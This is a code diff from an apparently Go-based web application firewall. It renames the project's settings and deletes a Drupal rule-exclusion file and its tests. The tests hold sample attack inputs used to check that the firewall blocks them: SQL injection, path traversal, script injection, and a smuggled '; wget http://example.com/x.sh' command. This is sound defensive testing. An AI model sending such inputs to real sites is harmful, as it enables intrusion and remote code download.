{banScopeV4Prefix, "33"}, {banScopeV4Prefix, "-1"}, {banScopeV4Prefix, "/24"},
|
||||
{stateDir, ""}, {stateDir, "state"}, {stateDir, "./var/lib/sww"},
|
||||
{stateDir, ""}, {stateDir, "state"}, {stateDir, "./var/lib/smallwebwaf"},
|
||||
{stateWriteDelay, off}, {stateWriteDelay, "0s"},
|
||||
{stateCounterInterval, off}, {stateCounterInterval, "15"},
|
||||
})
|
||||
@@ -2426,7 +2169,7 @@ func TestSettingFromFileIsCheckedAsTheSettingItself(t *testing.T) {
|
||||
}.lookupEnv)
|
||||
|
||||
want = logRemoteAppName + `: "my app" is not 1 to 48 printable ASCII ` +
|
||||
`characters without a space, such as blog`
|
||||
`characters without a space, such as gitea`
|
||||
if err == nil || err.Error() != want {
|
||||
t.Errorf("error %v, want %s", err, want)
|
||||
}
|
||||
@@ -2541,11 +2284,11 @@ func TestLogsEachSettingWithItsValue(t *testing.T) {
|
||||
lookupSource: defaultLookupSource,
|
||||
lookupDBPath: "",
|
||||
lookupTimeout: "800ms",
|
||||
addLookupHeaders: disabled,
|
||||
addLookupHeaders: "false",
|
||||
deniedCountries: "",
|
||||
allowedCountries: "",
|
||||
tagLists: "",
|
||||
tagDeny: "",
|
||||
tagLimitPercent: "",
|
||||
asnLimitPercent: "",
|
||||
countryLimitPercent: "",
|
||||
asnBytesPercent: "",
|
||||
countryBytesPercent: "",
|
||||
unknownLimitPercent: "100",
|
||||
@@ -2561,7 +2304,6 @@ func TestLogsEachSettingWithItsValue(t *testing.T) {
|
||||
reputationAction: "limit:25",
|
||||
reputationCacheTTL: defaultReputationCacheTTL,
|
||||
reputationTimeout: "2s",
|
||||
routeWatchURL: "",
|
||||
crowdSecURL: "",
|
||||
crowdSecKey: "",
|
||||
banResponse: "403",
|
||||
@@ -2571,7 +2313,7 @@ func TestLogsEachSettingWithItsValue(t *testing.T) {
|
||||
attackBanDuration: "7d",
|
||||
maxBans: "5000",
|
||||
banScopeV4Prefix: "32",
|
||||
stateDir: "/var/lib/sww",
|
||||
stateDir: "/var/lib/smallwebwaf",
|
||||
stateWriteDelay: "10s",
|
||||
stateCounterInterval: "15m",
|
||||
adminToken: "",
|
||||
@@ -2580,7 +2322,7 @@ func TestLogsEachSettingWithItsValue(t *testing.T) {
|
||||
instanceName: hostname,
|
||||
logRequestHeaders: defaultLogRequestHeaders,
|
||||
logLevel: "info",
|
||||
rulesDir: "/etc/sww/rules.d",
|
||||
rulesDir: "/etc/smallwebwaf/rules.d",
|
||||
rulesEnabled: "true",
|
||||
wafMode: config.WAFModeBlock,
|
||||
wafParanoiaLevel: "1",
|
||||
|
||||
@@ -12,7 +12,7 @@ import (
|
||||
"time"
|
||||
)
|
||||
|
||||
// RProxy is the settings of `sww rproxy`. A size or time limit of zero
|
||||
// RProxy is the settings of `smallwebwaf rproxy`. A size or time limit of zero
|
||||
// is off.
|
||||
type RProxy struct {
|
||||
// ListenAddr is where rproxy listens (SWRP_LISTEN_ADDR).
|
||||
@@ -22,12 +22,12 @@ type RProxy struct {
|
||||
// TrustedProxies are the netblocks whose X-Forwarded-For is believed
|
||||
// (SWRP_TRUSTED_PROXIES).
|
||||
TrustedProxies []netip.Prefix
|
||||
// WAFBackend is discriminator's URL (SWRP_WAF_BACKEND).
|
||||
// WAFBackend is servewaf's URL (SWRP_WAF_BACKEND).
|
||||
WAFBackend *url.URL
|
||||
// Timeout is how long rproxy waits for discriminator's answer to a question,
|
||||
// Timeout is how long rproxy waits for servewaf's answer to a question,
|
||||
// and to a report (SWRP_TIMEOUT_MS). It cannot be off.
|
||||
Timeout time.Duration
|
||||
// DefaultDisposition is what is done with a request when discriminator cannot be
|
||||
// DefaultDisposition is what is done with a request when servewaf cannot be
|
||||
// connected to, does not answer at all, or does not answer within Timeout:
|
||||
// allow or deny (SWRP_DEFAULT_DISPOSITION).
|
||||
DefaultDisposition string
|
||||
@@ -50,7 +50,7 @@ type RProxy struct {
|
||||
|
||||
var (
|
||||
errNeedsWAFBackend = errors.New(
|
||||
"is required: it is discriminator's URL, such as http://discriminator:8080")
|
||||
"is required: it is servewaf's URL, such as http://servewaf:8080")
|
||||
errNotDisposition = errors.New("is not allow or deny")
|
||||
errNotMilliseconds = errors.New(
|
||||
"is not a whole number of milliseconds above zero, such as 2000")
|
||||
@@ -124,7 +124,7 @@ func (c *RProxy) LogValue() slog.Value {
|
||||
return slog.GroupValue(c.settings...)
|
||||
}
|
||||
|
||||
// wafBackend reads the setting that is discriminator's URL, which must be set.
|
||||
// wafBackend reads the setting that is servewaf's URL, which must be set.
|
||||
func (e *environment) wafBackend(name string) *url.URL {
|
||||
value := e.value(name, "")
|
||||
if value == "" {
|
||||
@@ -139,7 +139,7 @@ func (e *environment) wafBackend(name string) *url.URL {
|
||||
return backend
|
||||
}
|
||||
|
||||
// disposition reads the setting that is what is done with a request when discriminator
|
||||
// disposition reads the setting that is what is done with a request when servewaf
|
||||
// cannot be connected to, does not answer at all, or does not answer in time:
|
||||
// allow or deny.
|
||||
func (e *environment) disposition(name, defaultValue string) string {
|
||||
|
||||
@@ -24,7 +24,7 @@ const (
|
||||
rproxyMaxResponse = "SWRP_MAX_RESPONSE_SIZE"
|
||||
rproxyRequestTime = "SWRP_MAX_REQUEST_TIME_MS"
|
||||
rproxyAnswerTime = "SWRP_MAX_RESPONSE_TIME_MS"
|
||||
backendURL = "http://discriminator:8080"
|
||||
backendURL = "http://servewaf:8080"
|
||||
rproxyDefaultAddr = ":8080"
|
||||
rproxyDefaultApp = "http://127.0.0.1:8081"
|
||||
notASize = "a lot"
|
||||
@@ -114,8 +114,8 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
|
||||
name, value string
|
||||
}{
|
||||
{wafBackend, ""},
|
||||
{wafBackend, "discriminator:8080"},
|
||||
{wafBackend, "http://discriminator:8080/path"},
|
||||
{wafBackend, "servewaf:8080"},
|
||||
{wafBackend, "http://servewaf:8080/path"},
|
||||
{rproxyTimeout, "0"},
|
||||
{rproxyTimeout, "-1"},
|
||||
{rproxyTimeout, off},
|
||||
|
||||
@@ -1,149 +0,0 @@
|
||||
# The ninth change: on Drupal's paths, some fields skip the rules that refused
|
||||
# ordinary Drupal requests there. They are the fields where Drupal sends a
|
||||
# search, a name, a file name or an address. Each exclusion runs with the
|
||||
# request, before the rules it switches off, so this file is loaded before the
|
||||
# Core Rule Set's rules. Each comment names a request a rule refused. An
|
||||
# exclusion on a field of a body applies only when the query has no parameter
|
||||
# of that name, so it matters only while SWW_WAF_BODY_LIMIT is set.
|
||||
#
|
||||
# Four rules read a search or a name as a command or a system file. Each query
|
||||
# exclusion below removes these four, and only these, from its fields:
|
||||
# 930120: .htaccess
|
||||
# 932120: powershell
|
||||
# 932250: ls -la
|
||||
# 932260: python3
|
||||
# Two more misfire on destination, the address of a page of results, so
|
||||
# destination alone skips them:
|
||||
# 932230: ls -la
|
||||
# 932235: python3
|
||||
|
||||
# Every admin page's filters and autocompletes, and the page to return to:
|
||||
# title: /admin/content?title=python3
|
||||
# name: /admin/content/media?name=python3
|
||||
# user: /admin/people?user=python3
|
||||
# filename, filemime: /admin/content/files?filename=python3
|
||||
# info: /admin/content/block?info=python3
|
||||
# subject, author_name: /admin/content/comment?subject=python3
|
||||
# search: /admin/config/search/path?search=python3
|
||||
# q: /admin/views/ajax/autocomplete/tag?q=python3
|
||||
# destination: /admin/content?destination=/admin/content%3Ftitle%3Dpython3
|
||||
SecRule REQUEST_FILENAME "@rx ^/admin(?:/|$)" \
|
||||
"id:900800,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:title|name|user|filename|filemime|info|subject|author_name|search|q|destination)$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:title|name|user|filename|filemime|info|subject|author_name|search|q|destination)$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:destination,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:destination,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:title|name|user|filename|filemime|info|subject|author_name|search|q|destination)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:title|name|user|filename|filemime|info|subject|author_name|search|q|destination)$/"
|
||||
|
||||
# The page to return to, on the other pages Drupal links to with one, such as
|
||||
# /node/1/edit?destination=/search/node%3Fkeys%3Dpython3 and
|
||||
# /user/login?destination=/search/node%3Fkeys%3Dpython3.
|
||||
SecRule REQUEST_FILENAME \
|
||||
"@rx ^/(?:node/(?:add/[^/]+|[0-9]+/[a-z]+)|comment/[0-9]+/[a-z]+|media/(?:add/[^/]+|[0-9]+/[a-z]+)|taxonomy/term/[0-9]+/[a-z]+|user/[^/]+(?:/[a-z]+)?)$" \
|
||||
"id:900801,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:destination,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:destination,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:destination,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:destination,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:destination,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:destination"
|
||||
|
||||
# The text searched for on the search pages: /search/node?keys=python3.
|
||||
SecRule REQUEST_FILENAME "@rx ^/search(?:/|$)" \
|
||||
"id:900802,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:keys,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:keys,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:keys,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:keys"
|
||||
|
||||
# What is typed into a field that autocompletes a tag or a user:
|
||||
# /entity_reference_autocomplete/taxonomy_term/default/KEY?q=python3.
|
||||
SecRule REQUEST_FILENAME "@beginsWith /entity_reference_autocomplete/" \
|
||||
"id:900803,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:q"
|
||||
|
||||
# The values a JSON:API client filters by, in fields named after what they
|
||||
# filter: /jsonapi/node/article?filter[title]=python3 and
|
||||
# filter[f][condition][value]=python3.
|
||||
SecRule REQUEST_FILENAME "@beginsWith /jsonapi/" \
|
||||
"id:900804,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^filter\[/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^filter\[/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^filter\[/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^filter\[/"
|
||||
|
||||
# The fields below are in bodies. Saving content sends its title, summary, tags,
|
||||
# address, revision note, comment subject, media name and image text, which
|
||||
# skip the same four rules there. A title such as "python3, ls -la and .htaccess"
|
||||
# refused saving a node.
|
||||
SecRule REQUEST_FILENAME \
|
||||
"@rx ^/(?:node/(?:add/[^/]+|[0-9]+/edit)|comment/(?:reply/[^/]+/[0-9]+/[^/]+(?:/[0-9]+)?|[0-9]+/edit)|media/(?:add/[^/]+|[0-9]+/edit))$" \
|
||||
"id:900810,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^(?:title|subject|name|body|revision_log|path|field_tags|field_)/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:(?:title|subject|name|revision_log|revision_log_message)\[0\]\[value\]|body\[0\]\[summary\]|path\[0\]\[alias\]|field_tags\[target_id\]|field_[a-z0-9_]+\[0\]\[(?:alt|title)\])$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:(?:title|subject|name|revision_log|revision_log_message)\[0\]\[value\]|body\[0\]\[summary\]|path\[0\]\[alias\]|field_tags\[target_id\]|field_[a-z0-9_]+\[0\]\[(?:alt|title)\])$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:(?:title|subject|name|revision_log|revision_log_message)\[0\]\[value\]|body\[0\]\[summary\]|path\[0\]\[alias\]|field_tags\[target_id\]|field_[a-z0-9_]+\[0\]\[(?:alt|title)\])$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:(?:title|subject|name|revision_log|revision_log_message)\[0\]\[value\]|body\[0\]\[summary\]|path\[0\]\[alias\]|field_tags\[target_id\]|field_[a-z0-9_]+\[0\]\[(?:alt|title)\])$/"
|
||||
|
||||
# The rich text editor sends HTML in body and comment_body. Each of these rules
|
||||
# refused saving a node or a comment whose HTML held an image and a code block
|
||||
# with a shell script, an SQL query and JavaScript, so they skip those fields:
|
||||
# 930120, 932120, 932125, 932140, 932160, 932230, 932235, 932250, 932260,
|
||||
# 934100, 941160, 941390, 942170 and 942230.
|
||||
SecRule REQUEST_FILENAME \
|
||||
"@rx ^/(?:node/(?:add/[^/]+|[0-9]+/edit)|comment/(?:reply/[^/]+/[0-9]+/[^/]+(?:/[0-9]+)?|[0-9]+/edit))$" \
|
||||
"id:900811,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^(?:comment_)?body\[/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
|
||||
ctl:ruleRemoveTargetById=932140;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
|
||||
ctl:ruleRemoveTargetById=934100;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
|
||||
ctl:ruleRemoveTargetById=941390;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
|
||||
ctl:ruleRemoveTargetById=942170;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:comment_)?body\[0\]\[value\]$/"
|
||||
|
||||
# A JSON:API client saving a node or a comment sends the same HTML in the
|
||||
# JSON field body.value or comment_body.value, which skips the rules above. A
|
||||
# title, summary or subject beside it skips 930120, 932120, 932250 and 932260.
|
||||
SecRule REQUEST_FILENAME "@beginsWith /jsonapi/" \
|
||||
"id:900812,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^json\.data\.attributes\./ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.data\.attributes\.(?:title|subject|body\.summary|(?:comment_)?body\.value)$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.data\.attributes\.(?:title|subject|body\.summary|(?:comment_)?body\.value)$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.data\.attributes\.(?:title|subject|body\.summary|(?:comment_)?body\.value)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.data\.attributes\.(?:title|subject|body\.summary|(?:comment_)?body\.value)$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
|
||||
ctl:ruleRemoveTargetById=932140;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
|
||||
ctl:ruleRemoveTargetById=934100;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
|
||||
ctl:ruleRemoveTargetById=941390;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
|
||||
ctl:ruleRemoveTargetById=942170;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/"
|
||||
|
||||
# Signing in, in pass or the JSON field pass, where a password holds any
|
||||
# characters:
|
||||
# 930120: a password ending in /etc/hosts
|
||||
# 932120: a password of powershell
|
||||
# 932250: a password of ls -la
|
||||
# 932260: a password starting with python3
|
||||
SecRule REQUEST_FILENAME "@streq /user/login" \
|
||||
"id:900813,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^(?:json\.)?pass$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?pass$/"
|
||||
@@ -1,334 +0,0 @@
|
||||
package coreruleset_test
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// drupalRequest is a line of testdata/drupal-requests.txt.
|
||||
type drupalRequest struct {
|
||||
Method string `json:"method"`
|
||||
Target string `json:"target"`
|
||||
Headers []string `json:"headers"`
|
||||
Body string `json:"body"`
|
||||
}
|
||||
|
||||
// drupalRequests returns the recorded ordinary Drupal requests.
|
||||
func drupalRequests(t *testing.T) []drupalRequest {
|
||||
t.Helper()
|
||||
|
||||
text, err := os.ReadFile(filepath.Join("testdata", "drupal-requests.txt"))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
var requests []drupalRequest
|
||||
|
||||
for line := range strings.Lines(string(text)) {
|
||||
if strings.HasPrefix(line, "#") {
|
||||
continue
|
||||
}
|
||||
|
||||
var r drupalRequest
|
||||
|
||||
err := json.Unmarshal([]byte(line), &r)
|
||||
if err != nil {
|
||||
t.Fatalf("%q: %v", line, err)
|
||||
}
|
||||
|
||||
requests = append(requests, r)
|
||||
}
|
||||
|
||||
return requests
|
||||
}
|
||||
|
||||
// drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||
const drupalThreshold = 5
|
||||
|
||||
// drupalAddArticle is Drupal's form for a new article.
|
||||
const drupalAddArticle = "/node/add/article"
|
||||
|
||||
// drupalSignIn is Drupal's sign-in page.
|
||||
const drupalSignIn = "/user/login"
|
||||
|
||||
func TestOrdinaryDrupalRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
defaults, bodies := atDefaults(t), readingBodies(t)
|
||||
|
||||
for _, recorded := range drupalRequests(t) {
|
||||
r := request{recorded.Method, recorded.Target, recorded.Headers}
|
||||
|
||||
got, _ := inspectBody(t, defaults, r, recorded.Body)
|
||||
if got.Score >= drupalThreshold {
|
||||
t.Errorf("%s %s refused: %+v", r.method, r.target, got)
|
||||
}
|
||||
|
||||
got, _ = inspectBody(t, bodies, r, recorded.Body)
|
||||
if got.Score >= drupalThreshold {
|
||||
t.Errorf("%s %s %.200q refused while bodies are read: %+v",
|
||||
r.method, r.target, recorded.Body, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// drupalAttacks are an SQL injection, a path traversal and a script
|
||||
// injection, as a query value.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var drupalAttacks = []string{
|
||||
"1'%20OR%20'1'='1",
|
||||
"..%2F..%2Fsites%2Fdefault%2Fsettings.php",
|
||||
"%3Cscript%3Ealert(1)%3C%2Fscript%3E",
|
||||
}
|
||||
|
||||
func TestDrupalAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
for _, attack := range drupalAttacks {
|
||||
for _, target := range []string{
|
||||
"/?id=",
|
||||
"/admin/content?id=",
|
||||
"/admin/content?title=",
|
||||
"/admin/content/media?name=",
|
||||
"/admin/people?user=",
|
||||
"/admin/content/files?filename=",
|
||||
"/admin/content/files?filemime=",
|
||||
"/admin/content/block?info=",
|
||||
"/admin/content/comment?subject=",
|
||||
"/admin/content/comment?author_name=",
|
||||
"/admin/config/search/path?search=",
|
||||
"/admin/content?destination=",
|
||||
"/admin/foo?q=",
|
||||
"/node/1/edit?destination=",
|
||||
"/user/login?destination=",
|
||||
"/search/node?keys=",
|
||||
"/search?keys=",
|
||||
"/entity_reference_autocomplete/user/default/KEY?q=",
|
||||
"/jsonapi/node/article?filter%5Btitle%5D=",
|
||||
"/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=",
|
||||
} {
|
||||
if got := inspect(t, crs, get(target+attack)); got.Score < drupalThreshold {
|
||||
t.Errorf("%s%s let through: %+v", target, attack, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
const reply = "/comment/reply/node/1/comment"
|
||||
|
||||
for _, attack := range drupalAttacks {
|
||||
for _, sent := range []struct{ target, body string }{
|
||||
{drupalAddArticle, "title%5B0%5D%5Bvalue%5D=" + attack},
|
||||
{drupalAddArticle, "body%5B0%5D%5Bvalue%5D=" + attack},
|
||||
{"/node/1/edit", "body%5B0%5D%5Bsummary%5D=" + attack},
|
||||
{reply, "comment_body%5B0%5D%5Bvalue%5D=" + attack},
|
||||
{reply, "subject%5B0%5D%5Bvalue%5D=" + attack},
|
||||
{drupalSignIn, "pass=" + attack},
|
||||
} {
|
||||
r := request{http.MethodPost, sent.target, []string{formData}}
|
||||
|
||||
got, _ := inspectBody(t, crs, r, sent.body)
|
||||
if got.Score < drupalThreshold {
|
||||
t.Errorf("POST %s %q let through: %+v", sent.target, sent.body, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, attack := range []string{
|
||||
`1' OR '1'='1`,
|
||||
`<script>alert(1)</script>`,
|
||||
} {
|
||||
for _, field := range []string{
|
||||
`"title":"` + attack + `"`,
|
||||
`"body":{"value":"` + attack + `"}`,
|
||||
} {
|
||||
r := request{
|
||||
http.MethodPost, "/jsonapi/node/article",
|
||||
[]string{"Content-Type: application/vnd.api+json"},
|
||||
}
|
||||
body := `{"data":{"attributes":{` + field + `}}}`
|
||||
|
||||
got, _ := inspectBody(t, crs, r, body)
|
||||
if got.Score < drupalThreshold {
|
||||
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// drupalCommandAttack is a shell command that only 932230 and 932235 refuse
|
||||
// on the fields that skip the other command rules, as a query value.
|
||||
const drupalCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
|
||||
|
||||
func TestDrupalCommandAttackIsRefusedOutsideDestination(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
for _, target := range []string{
|
||||
"/admin/content?title=",
|
||||
"/admin/content/media?name=",
|
||||
"/admin/people?user=",
|
||||
"/admin/content/files?filename=",
|
||||
"/admin/content/files?filemime=",
|
||||
"/admin/content/block?info=",
|
||||
"/admin/content/comment?subject=",
|
||||
"/admin/content/comment?author_name=",
|
||||
"/admin/config/search/path?search=",
|
||||
"/admin/views/ajax/autocomplete/tag?q=",
|
||||
"/search/node?keys=",
|
||||
"/entity_reference_autocomplete/user/default/KEY?q=",
|
||||
"/jsonapi/node/article?filter%5Btitle%5D=",
|
||||
} {
|
||||
got := inspect(t, crs, get(target+drupalCommandAttack))
|
||||
if got.Score < drupalThreshold {
|
||||
t.Errorf("%s let through: %+v", target, got)
|
||||
}
|
||||
}
|
||||
|
||||
crs = readingBodies(t)
|
||||
|
||||
for _, field := range []string{
|
||||
"title%5B0%5D%5Bvalue%5D=",
|
||||
"body%5B0%5D%5Bsummary%5D=",
|
||||
"revision_log%5B0%5D%5Bvalue%5D=",
|
||||
"path%5B0%5D%5Balias%5D=",
|
||||
"field_tags%5Btarget_id%5D=",
|
||||
"field_image%5B0%5D%5Balt%5D=",
|
||||
} {
|
||||
r := request{http.MethodPost, drupalAddArticle, []string{formData}}
|
||||
|
||||
got, _ := inspectBody(t, crs, r, field+drupalCommandAttack)
|
||||
if got.Score < drupalThreshold {
|
||||
t.Errorf("POST %s %s let through: %+v", r.target, field, got)
|
||||
}
|
||||
}
|
||||
|
||||
for _, field := range []string{
|
||||
`"title":"; wget http://example.com/x.sh"`,
|
||||
`"subject":"; wget http://example.com/x.sh"`,
|
||||
`"body":{"summary":"; wget http://example.com/x.sh"}`,
|
||||
} {
|
||||
r := request{
|
||||
http.MethodPost, "/jsonapi/node/article",
|
||||
[]string{"Content-Type: application/vnd.api+json"},
|
||||
}
|
||||
body := `{"data":{"attributes":{` + field + `}}}`
|
||||
|
||||
got, _ := inspectBody(t, crs, r, body)
|
||||
if got.Score < drupalThreshold {
|
||||
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// drupalHardValues are the words that name commands and files, as a form
|
||||
// value.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var drupalHardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
|
||||
|
||||
func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
const subject = "subject%5B0%5D%5Bvalue%5D="
|
||||
|
||||
for _, value := range drupalHardValues {
|
||||
for _, sent := range []struct{ target, field string }{
|
||||
{"/comment/reply/node/1/comment", subject},
|
||||
{"/comment/reply/node/1/comment/5", subject},
|
||||
{"/comment/reply/node/1/field_comments", subject},
|
||||
{"/comment/reply/media/1/comment", subject},
|
||||
{"/media/add/image", "revision_log_message%5B0%5D%5Bvalue%5D="},
|
||||
{"/media/1/edit", "revision_log_message%5B0%5D%5Bvalue%5D="},
|
||||
{drupalSignIn, "pass="},
|
||||
} {
|
||||
r := request{http.MethodPost, sent.target, []string{formData}}
|
||||
|
||||
got, _ := inspectBody(t, crs, r, sent.field+value)
|
||||
if got.Score >= drupalThreshold {
|
||||
t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, value := range []string{"python3", "powershell", "ls -la", ".htaccess"} {
|
||||
r := request{
|
||||
http.MethodPost, "/user/login?_format=json",
|
||||
[]string{"Content-Type: application/json"},
|
||||
}
|
||||
body := `{"name":"example","pass":"` + value + `"}`
|
||||
|
||||
got, _ := inspectBody(t, crs, r, body)
|
||||
if got.Score >= drupalThreshold {
|
||||
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestDrupalExclusionsAreNarrow(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
for _, passes := range []string{
|
||||
"/admin/content?title=python3",
|
||||
"/search/node?keys=python3",
|
||||
"/entity_reference_autocomplete/user/default/KEY?q=python3",
|
||||
"/jsonapi/node/article?filter%5Btitle%5D=python3",
|
||||
"/node/1/edit?destination=python3",
|
||||
} {
|
||||
if got := inspect(t, crs, get(passes)); got.Score >= drupalThreshold {
|
||||
t.Errorf("%s refused: %+v", passes, got)
|
||||
}
|
||||
}
|
||||
|
||||
for _, refused := range []string{
|
||||
"/?title=python3",
|
||||
"/admin/content?other=python3",
|
||||
"/?keys=python3",
|
||||
"/node/1?keys=python3",
|
||||
"/?q=python3",
|
||||
"/?filter%5Btitle%5D=python3",
|
||||
"/python3-notes?destination=python3",
|
||||
} {
|
||||
if got := inspect(t, crs, get(refused)); got.Score < drupalThreshold {
|
||||
t.Errorf("%s let through: %+v", refused, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
// The same field name in the query keeps the rules, in the query and
|
||||
// in the body.
|
||||
for _, sent := range []struct{ path, field string }{
|
||||
{drupalAddArticle, "title%5B0%5D%5Bvalue%5D=python3"},
|
||||
{drupalAddArticle, "body%5B0%5D%5Bvalue%5D=python3"},
|
||||
{drupalSignIn, "pass=python3"},
|
||||
} {
|
||||
r := request{http.MethodPost, sent.path + "?" + sent.field, []string{formData}}
|
||||
|
||||
got, _ := inspectBody(t, crs, r, sent.field)
|
||||
if got.Score < drupalThreshold {
|
||||
t.Errorf("POST %s let through: %+v", r.target, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
